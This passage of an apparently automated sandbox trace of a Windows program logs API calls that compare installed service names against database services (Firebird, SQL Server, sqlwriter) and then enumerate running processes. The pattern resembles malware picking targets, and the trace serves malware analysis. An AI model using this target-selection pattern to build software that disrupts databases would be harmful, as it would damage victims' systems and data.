(lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0223.555] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0223.555] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0223.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0223.555] lstrlenW (lpString="NcbService") returned 10 [0223.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0223.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0223.555] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0223.555] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0223.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0223.555] lstrlenW (lpString="netprofm") returned 8 [0223.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0223.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0223.555] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0223.556] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0223.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0223.556] lstrlenW (lpString="NgcSvc") returned 6 [0223.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0223.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0223.556] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0223.556] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0223.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0223.556] lstrlenW (lpString="NlaSvc") returned 6 [0223.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0223.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0223.556] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0223.556] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0223.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0223.556] lstrlenW (lpString="nsi") returned 3 [0223.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0223.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0223.556] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0223.556] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0223.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0223.556] lstrlenW (lpString="PcaSvc") returned 6 [0223.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0223.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0223.556] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0223.556] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0223.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0223.556] lstrlenW (lpString="PlugPlay") returned 8 [0223.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0223.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0223.556] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0223.556] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0223.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0223.556] lstrlenW (lpString="Power") returned 5 [0223.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0223.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0223.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0223.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0223.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0223.556] lstrlenW (lpString="ProfSvc") returned 7 [0223.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0223.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0223.556] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0223.556] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0223.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0223.556] lstrlenW (lpString="RpcEptMapper") returned 12 [0223.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.556] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0223.556] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0223.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0223.556] lstrlenW (lpString="RpcSs") returned 5 [0223.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0223.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0223.557] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0223.557] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0223.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0223.557] lstrlenW (lpString="SamSs") returned 5 [0223.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0223.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0223.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0223.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0223.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0223.557] lstrlenW (lpString="Schedule") returned 8 [0223.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0223.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0223.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0223.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0223.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0223.557] lstrlenW (lpString="SecurityHealthService") returned 21 [0223.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0223.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0223.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0223.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0223.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0223.557] lstrlenW (lpString="SENS") returned 4 [0223.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0223.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0223.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0223.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0223.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0223.557] lstrlenW (lpString="ShellHWDetection") returned 16 [0223.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.557] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0223.557] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0223.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0223.557] lstrlenW (lpString="Spooler") returned 7 [0223.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0223.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0223.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0223.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0223.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0223.557] lstrlenW (lpString="StateRepository") returned 15 [0223.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0223.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0223.557] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0223.557] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0223.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0223.557] lstrlenW (lpString="SysMain") returned 7 [0223.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0223.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0223.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0223.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0223.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0223.558] lstrlenW (lpString="SystemEventsBroker") returned 18 [0223.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0223.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0223.558] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0223.558] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0223.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0223.558] lstrlenW (lpString="Themes") returned 6 [0223.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0223.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0223.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0223.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0223.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0223.558] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0223.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0223.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0223.558] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0223.558] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0223.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0223.558] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0223.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0223.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0223.558] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0223.558] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0223.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0223.558] lstrlenW (lpString="TokenBroker") returned 11 [0223.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0223.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0223.558] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0223.558] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0223.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x536530 | out: hHeap=0x4f0000) returned 1 [0223.558] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0223.563] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.564] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.564] lstrlenW (lpString="System") returned 6 [0223.564] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.564] lstrlenW (lpString="smss.exe") returned 8 [0223.564] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.565] lstrlenW (lpString="csrss.exe") returned 9 [0223.565] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.565] lstrlenW (lpString="wininit.exe") returned 11 [0223.565] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.565] lstrlenW (lpString="csrss.exe") returned 9 [0223.565] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.565] lstrlenW (lpString="winlogon.exe") returned 12 [0223.566] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.566] lstrlenW (lpString="services.exe") returned 12 [0223.566] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.566] lstrlenW (lpString="lsass.exe") returned 9 [0223.566] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.566] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0223.566] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.567] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0223.567] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.567] lstrlenW (lpString="svchost.exe") returned 11 [0223.567] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.567] lstrlenW (lpString="svchost.exe") returned 11 [0223.567] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.568] lstrlenW (lpString="dwm.exe") returned 7 [0223.568] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.568] lstrlenW (lpString="svchost.exe") returned 11 [0223.568] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.568] lstrlenW (lpString="svchost.exe") returned 11 [0223.568] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.568] lstrlenW (lpString="svchost.exe") returned 11 [0223.569] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.569] lstrlenW (lpString="svchost.exe") returned 11 [0223.569] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.569] lstrlenW (lpString="svchost.exe") returned 11 [0223.569] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.569] lstrlenW (lpString="svchost.exe") returned 11 [0223.569] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.570] lstrlenW (lpString="svchost.exe") returned 11 [0223.570] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.570] lstrlenW (lpString="svchost.exe") returned 11 [0223.570] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.570] lstrlenW (lpString="svchost.exe") returned 11 [0223.570] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.571] lstrlenW (lpString="svchost.exe") returned 11 [0223.571] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.571] lstrlenW (lpString="spoolsv.exe") returned 11 [0223.571] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.571] lstrlenW (lpString="svchost.exe") returned 11 [0223.571] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.571] lstrlenW (lpString="audiodg.exe") returned 11 [0223.571] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.572] lstrlenW (lpString="svchost.exe") returned 11 [0223.572] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0223.572] lstrlenW (lpString="sihost.exe") returned 10 [0223.572] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0223.572] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0223.572] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0223.573] lstrlenW (lpString="Memory Compression") returned 18 [0223.573] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0223.573] lstrlenW (lpString="taskhostw.exe") returned 13 [0223.573] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0223.573] lstrlenW (lpString="userinit.exe") returned 12 [0223.573] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.573] lstrlenW (lpString="explorer.exe") returned 12 [0223.574] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0223.574] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0223.574] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0223.574] lstrlenW (lpString="SearchUI.exe") returned 12 [0223.574] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0223.574] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0223.574] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0223.575] lstrlenW (lpString="mobsync.exe") returned 11 [0223.575] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0223.575] lstrlenW (lpString="winhost.exe") returned 11 [0223.575] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0223.575] CloseHandle (hObject=0x240) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50a700 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 